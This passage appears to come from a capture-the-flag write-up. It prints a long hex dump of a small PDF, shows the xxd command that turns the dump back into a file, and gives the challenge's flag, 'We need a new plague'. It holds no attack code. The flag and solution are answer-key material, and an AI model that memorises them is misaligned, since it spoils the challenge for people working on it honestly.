a91ad4e418445c4d9c820ccfec79551854eaf57198dc946955eaf536cbbf20f6fec48d02a149cc1a0d2e975ca1d677628b155190c44a949548ebe411e4da9ac73e7881d9d628ebbce95b280e7eb8fde58fd70c52a97b739bba1be3a9d9c58d869aaa96bc86e165b86f7ae649b690e1d587c9f13b9fb80073bcc7a42c13c1264495bd140d15811db963790c7ecca3e90cd3c9075308b79507748c7ec4d8a26312d4c2f1364d88235168bb6ed879aeb9a450d0b1a83c6af61359a521bac81b41b694c1af86c3685d5976950f80cd735b734cc8c8668340613b831949b0d37dd3731b4378963f34d278d31368e9b15e5b039f62378a5e6302e1a92741d2be4963155958d88e730d984e4ea1895b58c254db68e9d6bab37af75267ec9e0d9f6f468f86f3edbbceeb133fe475f9d762de49785d6d7b14c6b4265e756f26f7d274656ad2869c82b2dddd8e6683dfee363a77ef4484def533f9ac9207f9fbd76dfd62d9fede0e5fc3f87f9bf0263920f0d1edb54ee4c2ec35953ad11eb7e2b972f0214ac481421692689495aa1f4590c29fa247c83713bddee9baea5b1c4866135569631027a9a66142858e0ca61d35c8d2c1d429a910d5aeb7ce575239d25af1086212fe05b21c366aceedbd6d433737f2973de37d29051daf799aedbc7d89edcf6e67295a264555daaa3a32abb64d36ce8b6235603a28bbfe256e0db94055c30ee696fc9edcd0de6b2edce8dce71275b4bb611a64a4314aa34d52ed50115a7e132b9bd5c94e352c462f02593d9e4d3c94c727215bf0694449999960c0e9f36c190ef0396ced24d7ab9e9a0e8fcec74b93e9e9e7c1d117219a3c1ea34a5bb2a6d95b62a5c2c385de942195bb5346f55f1f1b35b2abeb2e7bb97c8a13dcf553084c8e37d89e039fcf6cfb31bfccddef1b6fcfcd66d5e8fdfcd7f636c102b5d06b372fd5645b1b3544d9efbcf9482d67abb9acb73d66692ed53a7472bcac79e7f30f2457f71d9f073720c6630870fe17c3961357ccde38ee691bd39d11c66ac614fc3e106367f65d54a26855727b62a718131d9ea5275839a5594a69532c012962d17cd89eb6a066b989a9ab466db9a82f9c57ff7945e2e2005056ecc6392b6aacb6c7695e86d161be3b09db02dda589bcdea2b31b87cc9d0a5522526d348b91c37693e635eef342e25352235378d72f570616a6f8ec5ce2e47cfb9b23a8d46109342a0b96da3a9ed264b015315d02c31a519534df918c7068225232dd5c475ea7374b9cd36575b5906abcc6ae99f5efba5d3eb669eeb7ddf5cdd5be3ecaacd575ed454079f1a7ffb3bc5b77fd2b3b7abf052f5e440cdc024c74e252498abbb5656f6d6f12f9d1c3f7c9f857075cd5b6acdfa826697d1337e9ffdf5b985325f97d2ed8f540d70445fbeb1a33b886b01dfcdb9797c232f26dd1e4324677f0e23e6accf61f2722a7119d2d2bc3625a375369b84b269a160f3b22bb31965b6299bc9e2b1e3d92c329ef550d6912c363bab34ab218bd5669187cc47cc8c99d7ea5a757c92b1355357acabd5b15a1d49a2ea2c545d12c94faa4ada9574208923b21a428a492dd98befc794670ac5d270755601cb2a81e848b7c16468d7eb52b1522691ee2c5356872a29559584fb44b690dda122a92a92adc23da148286a2f86d462105426569f5a1c29de5fcc161797e88b8755c4a9228c2a2bcb54546c60f57ac1b4cb74c0c4989208e8d2e804bbe876809b02cea76b70f366c79d0de120adfa863bf5ff60c6b25da1a29ce07660dfbc74c9931f4b01faa03b0289ed0824be23b069b81f10793fa09b43657c3f78e74442aa5aabc62b55f3e4f7ce9fddcc6ab5095ac45407bff9883245add5242426b22189fca3d9cbe7e7e7e759d658164ab9dadb5fcee8f36fca2e2d12da52c9f30bf7a7ae118aca72360cae5fc10cca6be7dcc2fd5c13e78342a88790a7255847c4baf575ccb89db4d907ec8cd266b2edb63d66e32aada42e81ec610fb30cacf11791a2a246578e5184e4192c2065be9c3c4386de68aef16914b1c2e1c6875c0de5d2beacac6351d731b1c4c7c1fe7161542dd5cc780de19a0a379d9ca80eae6f4e57e0ce4f5ea5c5e30cae5b965be1f6051b274e6e2a7c2da32ed05637da598a55a4a56d6bdd0a26f7a12b27fb524b44276329abcd5e1850b0856beb8ad56c7e657d66654745baef891f7c26786abc263ff0d2c1f01703c5ab26be227f9481c730df37613d5583cb939990a0e038b40ae269055128345a952f01fb7d2c66c44da71b173759e5d8896b1b53018759519e6f4db356e1b1aacacadc200f7f544cfe6ae13af9f1f1e3c739e978ac5e9f58e8e772b876a8002f9cf234ee2d8f9633c36ee24dec4b0c25b2edb51b6bc76bd92a2b5164a7c92b8ad3a467a6ef4d8fa6730ed199ebd39159dd691da3d365ae518a8ad7167f0b8ac5cb9e427d5aab4251bf46ca2490792593c92cd457fb722d86d53e7d5a9ada07bcb25cc9289560c66dca4137de5865c7f9d98955ca1eaf5277d5f7cd844e51750e71c9f54758be01d38a8f79e9c29a644c55a6dc3361ccc886c3430d49f3c69d9b566d5c2d3029753d13adc3b39becf6c1a72776fe7529ce9c82bc4867f147d6f275a1aae6ad9e9c1c77a0a96ad857b1d06f5bb3b57e457b576efb83ebbf55d8512b343df6dd838fbe736ced586045637521abb6d7b7157cf4b7bff825fbc39d5f1a2a291dfae2ce5da7b614d8fdcfe0dc5dc07dc082b52a1fbc9e927db927729987ac47ac8cc69a692db6b2abb2c80a9da8d5161011f266f2983cba7b9b52d31241bf6cf7a6c5db158f02312eed63cbf6b6a54818c98ef4aa3eb767a4ade0d58ff7efccc6ee6de286477a0b70e975afdbb6da4c777026fcd1cbf7eee09f0f327f173b6b13e36f563ef7f8cf06f5f51f8225f64df207d16bcb3ec6e10aa5df4be9074b66e9e321fd9e76fb0bcb3f27def33590e0599e7ecfa65f34cf411466b0929fc3ec3e0117e4fe12928b5bf04bf872b49f7572b9dc0bdc4f148714efc635258218b7c580011cb001802d65d3f14d8352b3c8fa3bf6fc776c138ca33f0e33f84632198759c884dd7198439ed938ac001d3c1b879508bf1c8755b0175e8fc309904aaae2b01a74a42d0e6bd187fbef7c552f23e1389c0493e4cb7158078d8c01ad134e8dd865e6be384c2087d5c56106746c491c66a192ad8dc31cf24cc4610564b147e3b012e1e7e3b00a7ecf7e3b0e274021371f87d590c5dd88c35aa8e13e8ac389b04951198793e0678ad938ac83879513cd93537ba6c74646237ce15011ef2c2fafe6bb4341be351029e1db2686caf8d5dbb7f33243989f0e8543d3bb43c132bea3adc9dbbdbab76ddd7dfc58980ff091e94030b423303dce4f0edf2ddf31b635341d888c4d4ef09d931393dda1915ddb03d3abc343a18960689a2fe5ef61b8075d1f9a0e53b8a2acbcbaccf571e73dacff8d13e8f9c85838129a46e2d804df57d653c6fb0291d044840f4c04f9de3b82eb8687c78642327128341d0920f3646414fddcb66b7a2c1c1c1ba2d6c26577dc6f9e9c9e9a8cf9d01309ed0ef19d814824149e9c188d44a66a1d8e071e78a02c10671e42deb2a1c91d8e4feb8bec990a0543e1b191091c78d96864c7f60e7468228c8eef922da237cb43264e4ee0c46c8ff194f0e15088a7eac3a87f381444d7a6a627b78586226593d3238e07c6c6c71c317d6313238e8fd5502d713b7f9e3434e3ea9b823d300d633002a310c1f7bb421882226c9d508e7fd50875430882d8b64200394a106a8309e42a4368356cc73f7e9986b08c85b00d61bb5b96a59c1d28d584bb5937caf422bc0ee8dbe498cc1fc03b82dc01e40dc10e6ca7611c699330fca9f63b507eab6c87f6d0ff514c606fa7dc4eca7223b00bfda3fa56a3a521a44cc836a691af54f6ead3347c7aef7ab9277c875e811ed18895e13bd69f92fc74ad7f5e2462311f91b54464dd31ce3159771f72f4c85c3e59924621225b9b90b97aff84c575687118e569cc3ee61c927547108f699e4478341ecf6d18eb69d983a02cb734b6305afee3e8d3dc9bc6ec9bbc2b0e3db277bb659b9d323d22e712ed1b95b129a8c59dc6010fc87f65c873b7e6a1b8de3219da819cff53b908ae8c29398e21799647903736e365b2ce1d98591df1084dc8f94e23b46bd91863b1f9a42c13e536b662b6dfa587ce2c6da9ec92f7e1b8ffc3b29d58d4a6f03989710fc9d12e93a923f218c7700ec7105aee1f9db19138ed5e6f967cb97b3cff97b6d9f8a946c0ecfc133f4f50cd72b7c987be42cbefc442cbbf8ac596df8a5596231f3cf3c18b1fb0e3b78edc625ebf45be7a8b986f6dbc357e8be5de6f799fd1fc465cb4fcf37b36cbafde6bb0fcf2bd1ccb2fde152dda7789e75dd164f9f90dd1f2fa8defddf8e90dd673c3b552bc2166582e92546824c9d047523c890d6cdff5866b7d3f6bb8daf7fa6a3531e111a1179f41bc99c5cbc4742ed124f2f3c474963070118906da41d2ce5e6db0cc13a367885db418aef1d73cd77cd766ae49d794fc55dfd599abd2554e7f955c49735906df9e7c7bdfdbece05b936fed7b8b7df35be49b3e9b65ea12e12f955fba7c899dba347389d15fb45c641c17dd17272f9eb978fda2e2c2cb360b3f5f3eef9b9f9a9f9957cce3293f6b3ea548349c27fc79dff999f3d2796ee655e955467fce7deed639769e2479ec2fb45a66a4598991a4cbd21589759c719f614ebf2cbdcc5c7ef9cacb8ce325f74bccb32f92cb2f5c798159ad277a70121d96107c83c621e980c77b0a6f3ca41183278df84ef94f4d9d62bf70d266795ab459ca9ff23cc5a01fe74e9ab244ea4ff1499d51fc0bf3a245ffe49927df7c92f53c995d217a9e3499f191a817f54f389e703fb1ef895b4f28f4af91443c99257a78e6f16336cbe77b162dd76749f92cb1cc3a6699c9d97db3f8626438c19f60a95efe444696c81f2f3fceac3b36786cf2185b7e94e88f5a8e3a8eb29ea38614d1f026d1a2b35a28c79bc509d29e4de7c50b14f0f80ca9e291476c96c36beb2d870e36580eeeafb73cb676d1f2ec0162d8cfef2fdfcf963f4af63d423c8fa813c5304ec324e6d604de9924a36f852ba34fe562fb9438a17eec1bc4fbc2e20da23a6bb18932e0b1a464895b36b45a368915968dd86ec036c599dca7206c1fe764fbe649c2abe67a8b9e2517c80a9271b6cae299c726bd509c271a4f3e2aecf6992db7ba16bb184f57558de8e9ca2f147fe823d73b4887986d69175b2dbe7962f66c206b31e46de8582bde6bf03e2392ebe22d91991189c999d66724fa3e8353dfc710cc6120168bdead1fd4efd3737abd43bf4e3fa93fa1bfae5fd4abdc48bba567f130be0ec86913519079323bd7db63b7b7cfab16bbdb25b56fa3440e49f93df4e9e9da20290f49d0b76163ff1c21c7070e1c3b064dd9ed92b3a75ff2670fb44b41043c149841c0903d6782a68170241cd9257fe82671200c767b2482ad8cc83d78c39d0fe28422c41e8e44c2710a4a2016b1ef929ff670581624b234a001541dc68a8a02117b18cffbb441096a10250996339441def06058b62cdbc0764b58364b1000648884638e843306b700fc175c495b490a656e6473747265616d0a656e646f626a0a0a362030206f626a0a353939340a656e646f626a0a0a372030206f626a0a3c3c2f547970652f466f6e7444657363726970746f722f466f6e744e616d652f4241414141412b4c696265726174696f6e4d6f6e6f0a2f466c61677320350a2f466f6e7442426f785b2d3234202d33303020363037203833325d2f4974616c6963416e676c6520300a2f417363656e74203833320a2f44657363656e74202d3330300a2f436170486569676874203833320a2f5374656d562038300a2f466f6e7446696c65322035203020520a3e3e0a656e646f626a0a0a382030206f626a0a3c3c2f4c656e677468203237332f46696c7465722f466c6174654465636f64653e3e0a73747265616d0a789c5d91cf4ec42010c6ef3c05c7f5b0a1addb5d4d9a266b75931efc13bb3e00856925b140283df4ed85a16ae201f21be6fb2633036bdac7562bcfde9c111d783a282d1dcc667102680fa3d2242fa854c26f11de62e296b0e0edd6d9c3d4eac1541561ef21377bb7d2dd599a1e6e087b75129cd223dd7d345d88bbc5da2f98407b9a91baa6128650e799db173e0143d7be9521adfcba0f963fc175b5400b8cf3d48a301266cb0538ae47205596d5b4ba5c6a025afecbe59ba51fc42777419a07699695a73a70817c2c23df221759e4437a7f8a5c263e443e26ce239f904f58e72e317aef93a6897c4e8c9a87a429b1c9ad9bd86edce7cf1aa8589c0b2bc0a5e3ec716aa5e1f75facb1d185e71b3a3884eb0a656e6473747265616d0a656e646f626a0a0a392030206f626a0a3c3c2f547970652f466f6e742f537562747970652f54727565547970652f42617365466f6e742f4241414141412b4c696265726174696f6e4d6f6e6f0a2f46697273744368617220300a2f4c617374436861722031310a2f5769647468735b3630302036303020363030203630302036303020363030203630302036303020363030203630302036303020363030205d0a2f466f6e7444657363726970746f722037203020520a2f546f556e69636f64652038203020520a3e3e0a656e646f626a0a0a31302030206f626a0a3c3c2f46312039203020520a3e3e0a656e646f626a0a0a31312030206f626a0a3c3c2f466f6e74203130203020520a2f50726f635365745b2f5044462f546578745d0a3e3e0a656e646f626a0a0a312030206f626a0a3c3c2f547970652f506167652f506172656e742034203020522f5265736f7572636573203131203020522f4d65646961426f785b30203020363132203739325d2f47726f75703c3c2f532f5472616e73706172656e63792f43532f4465766963655247422f4920747275653e3e2f436f6e74656e74732032203020523e3e0a656e646f626a0a0a342030206f626a0a3c3c2f547970652f50616765730a2f5265736f7572636573203131203020520a2f4d65646961426f785b203020302036313220373932205d0a2f4b6964735b203120302052205d0a2f436f756e7420313e3e0a656e646f626a0a0a31322030206f626a0a3c3c2f547970652f436174616c6f672f50616765732034203020520a2f4f70656e416374696f6e5b3120302052202f58595a206e756c6c206e756c6c20305d0a2f4c616e6728656e2d5553290a3e3e0a656e646f626a0a0a31332030206f626a0a3c3c2f43726561746f723c464546463030353730303732303036393030373430303635303037323e0a2f50726f64756365723c464546463030344330303639303036323030373230303635303034463030363630303636303036393030363330303635303032303030333430303245303033323e0a2f4372656174696f6e4461746528443a32303134313031393134313532325a27293e3e0a656e646f626a0a0a787265660a302031340a303030303030303030302036353533352066200a30303030303037313338203030303030206e200a30303030303030303139203030303030206e200a30303030303030313935203030303030206e200a30303030303037323831203030303030206e200a30303030303030323135203030303030206e200a30303030303036323933203030303030206e200a30303030303036333134203030303030206e200a30303030303036353036203030303030206e200a30303030303036383438203030303030206e200a30303030303037303531203030303030206e200a30303030303037303833203030303030206e200a30303030303037333830203030303030206e200a30303030303037343737203030303030206e200a747261696c65720a3c3c2f53697a652031342f526f6f74203132203020520a2f496e666f203133203020520a2f4944205b203c36383932393934393437383944363833443145384339353431423436353046413e0a3c36383932393934393437383944363833443145384339353431423436353046413e205d0a2f446f63436865636b73756d202f37303137383031394639464137433239314544353538314243363544344545330a3e3e0a7374617274787265660a373634370a2525454f460a

After copying that to our pasteboard, we can undo the hex encoding as follows:

$ pbpaste | xxd -r -p > flag.pdf

Opening the resulting flag.pdf file reveals the flag:

We need a new plague

Other write-ups and resources